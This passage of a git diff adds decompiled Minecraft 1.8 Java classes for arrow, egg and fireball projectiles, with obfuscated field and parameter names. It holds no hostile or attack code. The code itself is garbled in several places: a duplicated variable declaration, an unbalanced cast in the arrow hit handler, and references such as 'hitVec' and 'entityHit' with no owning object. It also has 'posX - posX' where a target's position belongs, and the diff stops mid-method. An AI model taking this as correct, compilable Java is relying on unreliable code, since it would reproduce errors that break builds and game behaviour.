+  {
+    flySpeed = p_75092_1_;
+  }
+  
+  public float getWalkSpeed()
+  {
+    return walkSpeed;
+  }
+  
+  public void setPlayerWalkSpeed(float p_82877_1_)
+  {
+    walkSpeed = p_82877_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntityArrow.java b/src/minecraft/net/minecraft/entity/projectile/EntityArrow.java
new file mode 100644
index 0000000..9a65eda
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntityArrow.java
@@ -0,0 +1,604 @@
+package net.minecraft.entity.projectile;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityEnderman;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class EntityArrow extends Entity implements net.minecraft.entity.IProjectile
+{
+  private int field_145791_d = -1;
+  private int field_145792_e = -1;
+  private int field_145789_f = -1;
+  
+  private Block field_145790_g;
+  
+  private int inData;
+  
+  private boolean inGround;
+  
+  public int canBePickedUp;
+  
+  public int arrowShake;
+  
+  public Entity shootingEntity;
+  private int ticksInGround;
+  private int ticksInAir;
+  private double damage = 2.0D;
+  
+  private int knockbackStrength;
+  
+  private static final String __OBFID = "CL_00001715";
+  
+  public EntityArrow(World worldIn)
+  {
+    super(worldIn);
+    renderDistanceWeight = 10.0D;
+    setSize(0.5F, 0.5F);
+  }
+  
+  public EntityArrow(World worldIn, double p_i1754_2_, double p_i1754_4_, double p_i1754_6_)
+  {
+    super(worldIn);
+    renderDistanceWeight = 10.0D;
+    setSize(0.5F, 0.5F);
+    setPosition(p_i1754_2_, p_i1754_4_, p_i1754_6_);
+  }
+  
+  public EntityArrow(World worldIn, EntityLivingBase p_i1755_2_, EntityLivingBase p_i1755_3_, float p_i1755_4_, float p_i1755_5_)
+  {
+    super(worldIn);
+    renderDistanceWeight = 10.0D;
+    shootingEntity = p_i1755_2_;
+    
+    if ((p_i1755_2_ instanceof EntityPlayer))
+    {
+      canBePickedUp = 1;
+    }
+    
+    posY = (posY + p_i1755_2_.getEyeHeight() - 0.10000000149011612D);
+    double var6 = posX - posX;
+    double var8 = getEntityBoundingBoxminY + height / 3.0F - posY;
+    double var10 = posZ - posZ;
+    double var12 = MathHelper.sqrt_double(var6 * var6 + var10 * var10);
+    
+    if (var12 >= 1.0E-7D)
+    {
+      float var14 = (float)(Math.atan2(var10, var6) * 180.0D / 3.141592653589793D) - 90.0F;
+      float var15 = (float)-(Math.atan2(var8, var12) * 180.0D / 3.141592653589793D);
+      double var16 = var6 / var12;
+      double var18 = var10 / var12;
+      setLocationAndAngles(posX + var16, posY, posZ + var18, var14, var15);
+      float var20 = (float)(var12 * 0.20000000298023224D);
+      setThrowableHeading(var6, var8 + var20, var10, p_i1755_4_, p_i1755_5_);
+    }
+  }
+  
+  public EntityArrow(World worldIn, EntityLivingBase p_i1756_2_, float p_i1756_3_)
+  {
+    super(worldIn);
+    renderDistanceWeight = 10.0D;
+    shootingEntity = p_i1756_2_;
+    
+    if ((p_i1756_2_ instanceof EntityPlayer))
+    {
+      canBePickedUp = 1;
+    }
+    
+    setSize(0.5F, 0.5F);
+    setLocationAndAngles(posX, posY + p_i1756_2_.getEyeHeight(), posZ, rotationYaw, rotationPitch);
+    posX -= MathHelper.cos(rotationYaw / 180.0F * 3.1415927F) * 0.16F;
+    posY -= 0.10000000149011612D;
+    posZ -= MathHelper.sin(rotationYaw / 180.0F * 3.1415927F) * 0.16F;
+    setPosition(posX, posY, posZ);
+    motionX = (-MathHelper.sin(rotationYaw / 180.0F * 3.1415927F) * MathHelper.cos(rotationPitch / 180.0F * 3.1415927F));
+    motionZ = (MathHelper.cos(rotationYaw / 180.0F * 3.1415927F) * MathHelper.cos(rotationPitch / 180.0F * 3.1415927F));
+    motionY = (-MathHelper.sin(rotationPitch / 180.0F * 3.1415927F));
+    setThrowableHeading(motionX, motionY, motionZ, p_i1756_3_ * 1.5F, 1.0F);
+  }
+  
+  protected void entityInit()
+  {
+    dataWatcher.addObject(16, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+  public void setThrowableHeading(double p_70186_1_, double p_70186_3_, double p_70186_5_, float p_70186_7_, float p_70186_8_)
+  {
+    float var9 = MathHelper.sqrt_double(p_70186_1_ * p_70186_1_ + p_70186_3_ * p_70186_3_ + p_70186_5_ * p_70186_5_);
+    p_70186_1_ /= var9;
+    p_70186_3_ /= var9;
+    p_70186_5_ /= var9;
+    p_70186_1_ += rand.nextGaussian() * (rand.nextBoolean() ? -1 : 1) * 0.007499999832361937D * p_70186_8_;
+    p_70186_3_ += rand.nextGaussian() * (rand.nextBoolean() ? -1 : 1) * 0.007499999832361937D * p_70186_8_;
+    p_70186_5_ += rand.nextGaussian() * (rand.nextBoolean() ? -1 : 1) * 0.007499999832361937D * p_70186_8_;
+    p_70186_1_ *= p_70186_7_;
+    p_70186_3_ *= p_70186_7_;
+    p_70186_5_ *= p_70186_7_;
+    motionX = p_70186_1_;
+    motionY = p_70186_3_;
+    motionZ = p_70186_5_;
+    float var10 = MathHelper.sqrt_double(p_70186_1_ * p_70186_1_ + p_70186_5_ * p_70186_5_);
+    prevRotationYaw = (this.rotationYaw = (float)(Math.atan2(p_70186_1_, p_70186_5_) * 180.0D / 3.141592653589793D));
+    prevRotationPitch = (this.rotationPitch = (float)(Math.atan2(p_70186_3_, var10) * 180.0D / 3.141592653589793D));
+    ticksInGround = 0;
+  }
+  
+  public void func_180426_a(double p_180426_1_, double p_180426_3_, double p_180426_5_, float p_180426_7_, float p_180426_8_, int p_180426_9_, boolean p_180426_10_)
+  {
+    setPosition(p_180426_1_, p_180426_3_, p_180426_5_);
+    setRotation(p_180426_7_, p_180426_8_);
+  }
+  
+
+
+
+  public void setVelocity(double x, double y, double z)
+  {
+    motionX = x;
+    motionY = y;
+    motionZ = z;
+    
+    if ((prevRotationPitch == 0.0F) && (prevRotationYaw == 0.0F))
+    {
+      float var7 = MathHelper.sqrt_double(x * x + z * z);
+      prevRotationYaw = (this.rotationYaw = (float)(Math.atan2(x, z) * 180.0D / 3.141592653589793D));
+      prevRotationPitch = (this.rotationPitch = (float)(Math.atan2(y, var7) * 180.0D / 3.141592653589793D));
+      prevRotationPitch = rotationPitch;
+      prevRotationYaw = rotationYaw;
+      setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+      ticksInGround = 0;
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if ((prevRotationPitch == 0.0F) && (prevRotationYaw == 0.0F))
+    {
+      float var1 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+      prevRotationYaw = (this.rotationYaw = (float)(Math.atan2(motionX, motionZ) * 180.0D / 3.141592653589793D));
+      prevRotationPitch = (this.rotationPitch = (float)(Math.atan2(motionY, var1) * 180.0D / 3.141592653589793D));
+    }
+    
+    BlockPos var18 = new BlockPos(field_145791_d, field_145792_e, field_145789_f);
+    IBlockState var2 = worldObj.getBlockState(var18);
+    Block var3 = var2.getBlock();
+    
+    if (var3.getMaterial() != Material.air)
+    {
+      var3.setBlockBoundsBasedOnState(worldObj, var18);
+      AxisAlignedBB var4 = var3.getCollisionBoundingBox(worldObj, var18, var2);
+      
+      if ((var4 != null) && (var4.isVecInside(new Vec3(posX, posY, posZ))))
+      {
+        inGround = true;
+      }
+    }
+    
+    if (arrowShake > 0)
+    {
+      arrowShake -= 1;
+    }
+    
+    if (inGround)
+    {
+      int var20 = var3.getMetaFromState(var2);
+      
+      if ((var3 == field_145790_g) && (var20 == inData))
+      {
+        ticksInGround += 1;
+        
+        if (ticksInGround >= 1200)
+        {
+          setDead();
+        }
+      }
+      else
+      {
+        inGround = false;
+        motionX *= rand.nextFloat() * 0.2F;
+        motionY *= rand.nextFloat() * 0.2F;
+        motionZ *= rand.nextFloat() * 0.2F;
+        ticksInGround = 0;
+        ticksInAir = 0;
+      }
+    }
+    else
+    {
+      ticksInAir += 1;
+      Vec3 var19 = new Vec3(posX, posY, posZ);
+      Vec3 var5 = new Vec3(posX + motionX, posY + motionY, posZ + motionZ);
+      MovingObjectPosition var6 = worldObj.rayTraceBlocks(var19, var5, false, true, false);
+      var19 = new Vec3(posX, posY, posZ);
+      var5 = new Vec3(posX + motionX, posY + motionY, posZ + motionZ);
+      
+      if (var6 != null)
+      {
+        var5 = new Vec3(hitVec.xCoord, hitVec.yCoord, hitVec.zCoord);
+      }
+      
+      Entity var7 = null;
+      List var8 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox().addCoord(motionX, motionY, motionZ).expand(1.0D, 1.0D, 1.0D));
+      double var9 = 0.0D;
+      
+
+
+      for (int var11 = 0; var11 < var8.size(); var11++)
+      {
+        Entity var12 = (Entity)var8.get(var11);
+        
+        if ((var12.canBeCollidedWith()) && ((var12 != shootingEntity) || (ticksInAir >= 5)))
+        {
+          float var13 = 0.3F;
+          AxisAlignedBB var14 = var12.getEntityBoundingBox().expand(var13, var13, var13);
+          MovingObjectPosition var15 = var14.calculateIntercept(var19, var5);
+          
+          if (var15 != null)
+          {
+            double var16 = var19.distanceTo(hitVec);
+            
+            if ((var16 < var9) || (var9 == 0.0D))
+            {
+              var7 = var12;
+              var9 = var16;
+            }
+          }
+        }
+      }
+      
+      if (var7 != null)
+      {
+        var6 = new MovingObjectPosition(var7);
+      }
+      
+      if ((var6 != null) && (entityHit != null) && ((entityHit instanceof EntityPlayer)))
+      {
+        EntityPlayer var21 = (EntityPlayer)entityHit;
+        
+        if ((capabilities.disableDamage) || (((shootingEntity instanceof EntityPlayer)) && (!((EntityPlayer)shootingEntity).canAttackPlayer(var21))))
+        {
+          var6 = null;
+        }
+      }
+      
+
+
+
+
+      if (var6 != null)
+      {
+        if (entityHit != null)
+        {
+          float var22 = MathHelper.sqrt_double(motionX * motionX + motionY * motionY + motionZ * motionZ);
+          int var24 = MathHelper.ceiling_double_int(var22 * damage);
+          
+          if (getIsCritical())
+          {
+            var24 += rand.nextInt(var24 / 2 + 2);
+          }
+          
+          DamageSource var26;
+          DamageSource var26;
+          if (shootingEntity == null)
+          {
+            var26 = DamageSource.causeArrowDamage(this, this);
+          }
+          else
+          {
+            var26 = DamageSource.causeArrowDamage(this, shootingEntity);
+          }
+          
+          if ((isBurning()) && (!(entityHit instanceof EntityEnderman)))
+          {
+            entityHit.setFire(5);
+          }
+          
+          if (entityHit.attackEntityFrom(var26, var24))
+          {
+            if ((entityHit instanceof EntityLivingBase))
+            {
+              EntityLivingBase var27 = (EntityLivingBase)entityHit;
+              
+              if (!worldObj.isRemote)
+              {
+                var27.setArrowCountInEntity(var27.getArrowCountInEntity() + 1);
+              }
+              
+              if (knockbackStrength > 0)
+              {
+                float var29 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+                
+                if (var29 > 0.0F)
+                {
+                  entityHit.addVelocity(motionX * knockbackStrength * 0.6000000238418579D / var29, 0.1D, motionZ * knockbackStrength * 0.6000000238418579D / var29);
+                }
+              }
+              
+              if ((shootingEntity instanceof EntityLivingBase))
+              {
+                EnchantmentHelper.func_151384_a(var27, shootingEntity);
+                EnchantmentHelper.func_151385_b((EntityLivingBase)shootingEntity, var27);
+              }
+              
+              if ((shootingEntity != null) && (entityHit != shootingEntity) && ((entityHit instanceof EntityPlayer)) && ((shootingEntity instanceof EntityPlayerMP)))
+              {
+                shootingEntity).playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S2BPacketChangeGameState(6, 0.0F));
+              }
+            }
+            
+            playSound("random.bowhit", 1.0F, 1.2F / (rand.nextFloat() * 0.2F + 0.9F));
+            
+            if (!(entityHit instanceof EntityEnderman))
+            {
+              setDead();
+            }
+          }
+          else
+          {
+            motionX *= -0.10000000149011612D;
+            motionY *= -0.10000000149011612D;
+            motionZ *= -0.10000000149011612D;
+            rotationYaw += 180.0F;
+            prevRotationYaw += 180.0F;
+            ticksInAir = 0;
+          }
+        }
+        else
+        {
+          BlockPos var23 = var6.func_178782_a();
+          field_145791_d = var23.getX();
+          field_145792_e = var23.getY();
+          field_145789_f = var23.getZ();
+          var2 = worldObj.getBlockState(var23);
+          field_145790_g = var2.getBlock();
+          inData = field_145790_g.getMetaFromState(var2);
+          motionX = ((float)(hitVec.xCoord - posX));
+          motionY = ((float)(hitVec.yCoord - posY));
+          motionZ = ((float)(hitVec.zCoord - posZ));
+          float var25 = MathHelper.sqrt_double(motionX * motionX + motionY * motionY + motionZ * motionZ);
+          posX -= motionX / var25 * 0.05000000074505806D;
+          posY -= motionY / var25 * 0.05000000074505806D;
+          posZ -= motionZ / var25 * 0.05000000074505806D;
+          playSound("random.bowhit", 1.0F, 1.2F / (rand.nextFloat() * 0.2F + 0.9F));
+          inGround = true;
+          arrowShake = 7;
+          setIsCritical(false);
+          
+          if (field_145790_g.getMaterial() != Material.air)
+          {
+            field_145790_g.onEntityCollidedWithBlock(worldObj, var23, var2, this);
+          }
+        }
+      }
+      
+      if (getIsCritical())
+      {
+        for (var11 = 0; var11 < 4; var11++)
+        {
+          worldObj.spawnParticle(EnumParticleTypes.CRIT, posX + motionX * var11 / 4.0D, posY + motionY * var11 / 4.0D, posZ + motionZ * var11 / 4.0D, -motionX, -motionY + 0.2D, -motionZ, new int[0]);
+        }
+      }
+      
+      posX += motionX;
+      posY += motionY;
+      posZ += motionZ;
+      float var22 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+      rotationYaw = ((float)(Math.atan2(motionX, motionZ) * 180.0D / 3.141592653589793D));
+      
+      for (rotationPitch = ((float)(Math.atan2(motionY, var22) * 180.0D / 3.141592653589793D)); rotationPitch - prevRotationPitch < -180.0F; prevRotationPitch -= 360.0F) {}
+      
+
+
+
+      while (rotationPitch - prevRotationPitch >= 180.0F)
+      {
+        prevRotationPitch += 360.0F;
+      }
+      
+      while (rotationYaw - prevRotationYaw < -180.0F)
+      {
+        prevRotationYaw -= 360.0F;
+      }
+      
+      while (rotationYaw - prevRotationYaw >= 180.0F)
+      {
+        prevRotationYaw += 360.0F;
+      }
+      
+      rotationPitch = (prevRotationPitch + (rotationPitch - prevRotationPitch) * 0.2F);
+      rotationYaw = (prevRotationYaw + (rotationYaw - prevRotationYaw) * 0.2F);
+      float var25 = 0.99F;
+      float var13 = 0.05F;
+      
+      if (isInWater())
+      {
+        for (int var28 = 0; var28 < 4; var28++)
+        {
+          float var29 = 0.25F;
+          worldObj.spawnParticle(EnumParticleTypes.WATER_BUBBLE, posX - motionX * var29, posY - motionY * var29, posZ - motionZ * var29, motionX, motionY, motionZ, new int[0]);
+        }
+        
+        var25 = 0.6F;
+      }
+      
+      if (isWet())
+      {
+        extinguish();
+      }
+      
+      motionX *= var25;
+      motionY *= var25;
+      motionZ *= var25;
+      motionY -= var13;
+      setPosition(posX, posY, posZ);
+      doBlockCollisions();
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setShort("xTile", (short)field_145791_d);
+    tagCompound.setShort("yTile", (short)field_145792_e);
+    tagCompound.setShort("zTile", (short)field_145789_f);
+    tagCompound.setShort("life", (short)ticksInGround);
+    ResourceLocation var2 = (ResourceLocation)Block.blockRegistry.getNameForObject(field_145790_g);
+    tagCompound.setString("inTile", var2 == null ? "" : var2.toString());
+    tagCompound.setByte("inData", (byte)inData);
+    tagCompound.setByte("shake", (byte)arrowShake);
+    tagCompound.setByte("inGround", (byte)(inGround ? 1 : 0));
+    tagCompound.setByte("pickup", (byte)canBePickedUp);
+    tagCompound.setDouble("damage", damage);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    field_145791_d = tagCompund.getShort("xTile");
+    field_145792_e = tagCompund.getShort("yTile");
+    field_145789_f = tagCompund.getShort("zTile");
+    ticksInGround = tagCompund.getShort("life");
+    
+    if (tagCompund.hasKey("inTile", 8))
+    {
+      field_145790_g = Block.getBlockFromName(tagCompund.getString("inTile"));
+    }
+    else
+    {
+      field_145790_g = Block.getBlockById(tagCompund.getByte("inTile") & 0xFF);
+    }
+    
+    inData = (tagCompund.getByte("inData") & 0xFF);
+    arrowShake = (tagCompund.getByte("shake") & 0xFF);
+    inGround = (tagCompund.getByte("inGround") == 1);
+    
+    if (tagCompund.hasKey("damage", 99))
+    {
+      damage = tagCompund.getDouble("damage");
+    }
+    
+    if (tagCompund.hasKey("pickup", 99))
+    {
+      canBePickedUp = tagCompund.getByte("pickup");
+    }
+    else if (tagCompund.hasKey("player", 99))
+    {
+      canBePickedUp = (tagCompund.getBoolean("player") ? 1 : 0);
+    }
+  }
+  
+
+
+
+  public void onCollideWithPlayer(EntityPlayer entityIn)
+  {
+    if ((!worldObj.isRemote) && (inGround) && (arrowShake <= 0))
+    {
+      boolean var2 = (canBePickedUp == 1) || ((canBePickedUp == 2) && (capabilities.isCreativeMode));
+      
+      if ((canBePickedUp == 1) && (!inventory.addItemStackToInventory(new net.minecraft.item.ItemStack(net.minecraft.init.Items.arrow, 1))))
+      {
+        var2 = false;
+      }
+      
+      if (var2)
+      {
+        playSound("random.pop", 0.2F, ((rand.nextFloat() - rand.nextFloat()) * 0.7F + 1.0F) * 2.0F);
+        entityIn.onItemPickup(this, 1);
+        setDead();
+      }
+    }
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+  public void setDamage(double p_70239_1_)
+  {
+    damage = p_70239_1_;
+  }
+  
+  public double getDamage()
+  {
+    return damage;
+  }
+  
+
+
+
+  public void setKnockbackStrength(int p_70240_1_)
+  {
+    knockbackStrength = p_70240_1_;
+  }
+  
+
+
+
+  public boolean canAttackWithItem()
+  {
+    return false;
+  }
+  
+
+
+
+  public void setIsCritical(boolean p_70243_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_70243_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 | 0x1)));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 & 0xFFFFFFFE)));
+    }
+  }
+  
+
+
+
+  public boolean getIsCritical()
+  {
+    byte var1 = dataWatcher.getWatchableObjectByte(16);
+    return (var1 & 0x1) != 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntityEgg.java b/src/minecraft/net/minecraft/entity/projectile/EntityEgg.java
new file mode 100644
index 0000000..65d2127
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntityEgg.java
@@ -0,0 +1,71 @@
+package net.minecraft.entity.projectile;
+
+import java.util.Random;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityChicken;
+import net.minecraft.item.Item;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class EntityEgg extends EntityThrowable
+{
+  private static final String __OBFID = "CL_00001724";
+  
+  public EntityEgg(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityEgg(World worldIn, EntityLivingBase p_i1780_2_)
+  {
+    super(worldIn, p_i1780_2_);
+  }
+  
+  public EntityEgg(World worldIn, double p_i1781_2_, double p_i1781_4_, double p_i1781_6_)
+  {
+    super(worldIn, p_i1781_2_, p_i1781_4_, p_i1781_6_);
+  }
+  
+
+
+
+  protected void onImpact(MovingObjectPosition p_70184_1_)
+  {
+    if (entityHit != null)
+    {
+      entityHit.attackEntityFrom(DamageSource.causeThrownDamage(this, getThrower()), 0.0F);
+    }
+    
+    if ((!worldObj.isRemote) && (rand.nextInt(8) == 0))
+    {
+      byte var2 = 1;
+      
+      if (rand.nextInt(32) == 0)
+      {
+        var2 = 4;
+      }
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        EntityChicken var4 = new EntityChicken(worldObj);
+        var4.setGrowingAge(41536);
+        var4.setLocationAndAngles(posX, posY, posZ, rotationYaw, 0.0F);
+        worldObj.spawnEntityInWorld(var4);
+      }
+    }
+    
+    double var5 = 0.08D;
+    
+    for (int var6 = 0; var6 < 8; var6++)
+    {
+      worldObj.spawnParticle(EnumParticleTypes.ITEM_CRACK, posX, posY, posZ, (rand.nextFloat() - 0.5D) * 0.08D, (rand.nextFloat() - 0.5D) * 0.08D, (rand.nextFloat() - 0.5D) * 0.08D, new int[] { Item.getIdFromItem(net.minecraft.init.Items.egg) });
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      setDead();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/projectile/EntityFireball.java b/src/minecraft/net/minecraft/entity/projectile/EntityFireball.java
new file mode 100644
index 0000000..244f940
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/projectile/EntityFireball.java
@@ -0,0 +1,348 @@
+package net.minecraft.entity.projectile;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public abstract class EntityFireball extends Entity
+{
+  private int field_145795_e = -1;
+  private int field_145793_f = -1;
+  private int field_145794_g = -1;
+  private Block field_145796_h;
+  private boolean inGround;
+  public EntityLivingBase shootingEntity;
+  private int ticksAlive;
+  private int ticksInAir;
+  public double accelerationX;
+  public double accelerationY;
+  public double accelerationZ;
+  private static final String __OBFID = "CL_00001717";
+  
+  public EntityFireball(World worldIn)
+  {
+    super(worldIn);
+    setSize(1.0F, 1.0F);
+  }
+  
+
+
+  protected void entityInit() {}
+  
+
+
+  public boolean isInRangeToRenderDist(double distance)
+  {
+    double var3 = getEntityBoundingBox().getAverageEdgeLength() * 4.0D;
+    var3 *= 64.0D;
+    return distance < var3 * var3;
+  }
+  
+  public EntityFireball(World worldIn, double p_i1760_2_, double p_i1760_4_, double p_i1760_6_, double p_i1760_8_, double p_i1760_10_, double p_i1760_12_)
+  {
+    super(worldIn);
+    setSize(1.0F, 1.0F);
+    setLocationAndAngles(p_i1760_2_, p_i1760_4_, p_i1760_6_, rotationYaw, rotationPitch);
+    setPosition(p_i1760_2_, p_i1760_4_, p_i1760_6_);
+    double var14 = MathHelper.sqrt_double(p_i1760_8_ * p_i1760_8_ + p_i1760_10_ * p_i1760_10_ + p_i1760_12_ * p_i1760_12_);
+    accelerationX = (p_i1760_8_ / var14 * 0.1D);
+    accelerationY = (p_i1760_10_ / var14 * 0.1D);
+    accelerationZ = (p_i1760_12_ / var14 * 0.1D);
+  }
+  
+  public EntityFireball(World worldIn, EntityLivingBase p_i1761_2_, double p_i1761_3_, double p_i1761_5_, double p_i1761_7_)
+  {
+    super(worldIn);
+    shootingEntity = p_i1761_2_;
+    setSize(1.0F, 1.0F);
+    setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+    setPosition(posX, posY, posZ);
+    motionX = (this.motionY = this.motionZ = 0.0D);
+    p_i1761_3_ += rand.nextGaussian() * 0.4D;
+    p_i1761_5_ += rand.nextGaussian() * 0.4D;
+    p_i1761_7_ += rand.nextGaussian() * 0.4D;
+    double var9 = MathHelper.sqrt_double(p_i1761_3_ * p_i1761_3_ + p_i1761_5_ * p_i1761_5_ + p_i1761_7_ * p_i1761_7_);
+    accelerationX = (p_i1761_3_ / var9 * 0.1D);
+    accelerationY = (p_i1761_5_ / var9 * 0.1D);
+    accelerationZ = (p_i1761_7_ / var9 * 0.1D);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    if ((!worldObj.isRemote) && (((shootingEntity != null) && (shootingEntity.isDead)) || (!worldObj.isBlockLoaded(new net.minecraft.util.BlockPos(this)))))
+    {
+      setDead();
+    }
+    else
+    {
+      super.onUpdate();
+      setFire(1);
+      
+      if (inGround)
+      {
+        if (worldObj.getBlockState(new net.minecraft.util.BlockPos(field_145795_e, field_145793_f, field_145794_g)).getBlock() == field_145796_h)
+        {
+          ticksAlive += 1;
+          
+          if (ticksAlive == 600)
+          {
+            setDead();
+          }
+          
+          return;
+        }
+        
+        inGround = false;
+        motionX *= rand.nextFloat() * 0.2F;
+        motionY *= rand.nextFloat() * 0.2F;
+        motionZ *= rand.nextFloat() * 0.2F;
+        ticksAlive = 0;
+        ticksInAir = 0;
+      }
+      else
+      {
+        ticksInAir += 1;
+      }
+      
+      Vec3 var1 = new Vec3(posX, posY, posZ);
+      Vec3 var2 = new Vec3(posX + motionX, posY + motionY, posZ + motionZ);
+      MovingObjectPosition var3 = worldObj.rayTraceBlocks(var1, var2);
+      var1 = new Vec3(posX, posY, posZ);
+      var2 = new Vec3(posX + motionX, posY + motionY, posZ + motionZ);
+      
+      if (var3 != null)
+      {
+        var2 = new Vec3(hitVec.xCoord, hitVec.yCoord, hitVec.zCoord);
+      }
+      
+      Entity var4 = null;
+      List var5 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox().addCoord(motionX, motionY, motionZ).expand(1.0D, 1.0D, 1.0D));
+      double var6 = 0.0D;
+      
+      for (int var8 = 0; var8 < var5.size(); var8++)
+      {
+        Entity var9 = (Entity)var5.get(var8);
+        
+        if ((var9.canBeCollidedWith()) && ((!var9.isEntityEqual(shootingEntity)) || (ticksInAir >= 25)))
+        {
+          float var10 = 0.3F;
+          AxisAlignedBB var11 = var9.getEntityBoundingBox().expand(var10, var10, var10);
+          MovingObjectPosition var12 = var11.calculateIntercept(var1, var2);
+          
+          if (var12 != null)
+          {
+            double var13 = var1.distanceTo(hitVec);
+            
+            if ((var13 < var6) || (var6 == 0.0D))
+            {
+              var4 = var9;
+              var6 = var13;
+            }
+          }
+        }
+      }
+      
+      if (var4 != null)
+      {
+        var3 = new MovingObjectPosition(var4);
+      }
+      
+      if (var3 != null)
+      {
+        onImpact(var3);
+      }
+      
+      posX += motionX;
+      posY += motionY;
+      posZ += motionZ;
+      float var15 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+      rotationYaw = ((float)(Math.atan2(motionZ, motionX) * 180.0D / 3.141592653589793D) + 90.0F);
+      
+      for (rotationPitch = ((float)(Math.atan2(var15, motionY) * 180.0D / 3.141592653589793D) - 90.0F); rotationPitch - prevRotationPitch < -180.0F; prevRotationPitch -= 360.0F) {}
+      
+
+
+
+      while (rotationPitch - prevRotationPitch >= 180.0F)
+      {
+        prevRotationPitch += 360.0F;
+      }
+      
+      while (rotationYaw - prevRotationYaw < -180.0F)
+      {
+        prevRotationYaw -= 360.0F;
+      }
+      
+      while (rotationYaw - prevRotationYaw >= 180.0F)
+      {
+        prevRotationYaw += 360.0F;
+      }
+      
+      rotationPitch = (prevRotationPitch + (rotationPitch - prevRotationPitch) * 0.2F);
+      rotationYaw = (prevRotationYaw + (rotationYaw - prevRotationYaw) * 0.2F);
+      float var16 = getMotionFactor();
+      
+      if (isInWater())
+      {
+        for (int var17 = 0; var17 < 4; var17++)
+        {
+          float var18 = 0.25F;
+          worldObj.spawnParticle(EnumParticleTypes.WATER_BUBBLE, posX - motionX * var18, posY - motionY * var18, posZ - motionZ * var18, motionX, motionY, motionZ, new int[0]);
+        }
+        
+        var16 = 0.8F;
+      }
+      
+      motionX += accelerationX;
+      motionY += accelerationY;
+      motionZ += accelerationZ;
+      motionX *= var16;
+      motionY *= var16;
+      motionZ *= var16;
+      worldObj.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, posX, posY + 0.5D, posZ, 0.0D, 0.0D, 0.0D, new int[0]);
+      setPosition(posX, posY, posZ);
+    }
+  }
+  
+
+
+
+  protected float getMotionFactor()
+  {
+    return 0.95F;
+  }
+  
+
+
+
+  protected abstract void onImpact(MovingObjectPosition paramMovingObjectPosition);
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setShort("xTile", (short)field_145795_e);
+    tagCompound.setShort("yTile", (short)field_145793_f);
+    tagCompound.setShort("zTile", (short)field_145794_g);
+    ResourceLocation var2 = (ResourceLocation)Block.blockRegistry.getNameForObject(field_145796_h);
+    tagCompound.setString("inTile", var2 == null ? "" : var2.toString());
+    tagCompound.setByte("inGround", (byte)(inGround ? 1 : 0));
+    tagCompound.setTag("direction", newDoubleNBTList(new double[] { motionX, motionY, motionZ }));
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    field_145795_e = tagCompund.getShort("xTile");
+    field_145793_f = tagCompund.getShort("yTile");
+    field_145794_g = tagCompund.getShort("zTile");
+    
+    if (tagCompund.hasKey("inTile", 8))
+    {
+      field_145796_h = Block.getBlockFromName(tagCompund.getString("inTile"));
+    }
+    else
+    {
